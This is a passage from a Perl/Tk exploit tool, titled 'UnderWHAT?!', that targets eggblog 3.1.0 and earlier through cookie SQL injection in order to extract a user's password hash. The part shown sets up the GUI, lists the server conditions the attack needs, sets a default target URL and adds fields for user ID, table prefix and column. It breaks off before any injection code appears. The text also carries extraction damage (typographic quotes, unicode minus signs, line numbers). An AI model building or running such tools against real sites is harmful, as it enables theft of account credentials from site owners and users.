1 #!/usr/bin/perl
2
3
use Tk;
4
use Tk::BrowseEntry;
5
use Tk::DialogBox;
6
use LWP::UserAgent;
7
8
$mw = new MainWindow(title => "UnderWHAT?!" );
9
10
$mw−>geometry ( ’420x343’ ) ;
11
$mw−>resizable(0,0);
12
13
$mw−>Label(−text => ’’, −font => ’{Verdana} 8’,−foreground=>’red’)−>pack();
14
$mw−>Label(−text => ’eggblog <= 3.1.0 Cookies Sql Injection’, −font => ’{Tahoma} 7 bold’,−foreground=>’red’)−>pack();
15
$mw−>Label(−text => ’it will take about half an hour to get hashed password’, −font => ’{Tahoma} 7 bold’,−foreground=>’red’)−>pack(
);
16
$mw−>Label(−text => ’you need magic_quotes_gpc turned off and mysql version higher that 4.1’, −font => ’{Tahoma} 7 bold’,−foreground=
>’red’)−>pack();
17
$mw−>Label(−text => ’’, −font => ’{Tahoma} 7 bold’,−foreground=>’red’)−>pack();
18
19
20
$fleft = $mw−>Frame()−>pack ( −side => ’left’, −anchor => ’ne’) ;
21
$fright = $mw−>Frame()−>pack ( −side => ’left’, −anchor => ’nw’) ;
22
23
$url = ’http://test2.ru/eggblog/home/index.php’;
24
$user_id = ’1’;
25
$prefix = ’eggblog_’;
26
$table = ’users’;
27
$column = ’user_password’;
28
$report = ’’;
29
$group = 1;
30
$curr_user = 0;
31
32
33
34
$fleft−>Label ( −text => ’Path to forum index: ’, −font => ’{Verdana} 8 bold’) −>pack ( −side => "top" , −anchor => ’e’ )
;
35
$fright−>Entry ( −relief => "groove", −width => 35, −font => ’{Verdana} 8’, −textvariable => \$url) −>pack ( −si
de => "top" , −anchor => ’w’ ) ;
36
37
$fleft−>Label ( −text => ’User ID: ’, −font => ’{Verdana} 8 bold’ ) −>pack ( −side => "top" , −anchor => ’e’ ) ;
38
$fright−>Entry ( −relief => "groove", −width => 35, −font => ’{Verdana} 8’, −textvariable => \$user_id) −>pack (
−side => "top" , −anchor => ’w’ ) ;
39
40
$fleft−>Label ( −text => ’Database tables prefix: ’, −font => ’{Verdana} 8 bold’) −>pack ( −side => "top" , −anchor => ’e’
) ;
41
$fright−>Entry ( −relief => "groove", −width => 35, −font => ’{Verdana} 8’, −textvariable => \$prefix) −>pack (
−side => "top" , −anchor => ’w’ ) ;
42
43
$fleft−>Label ( −text => ’Returned hash: ’, −font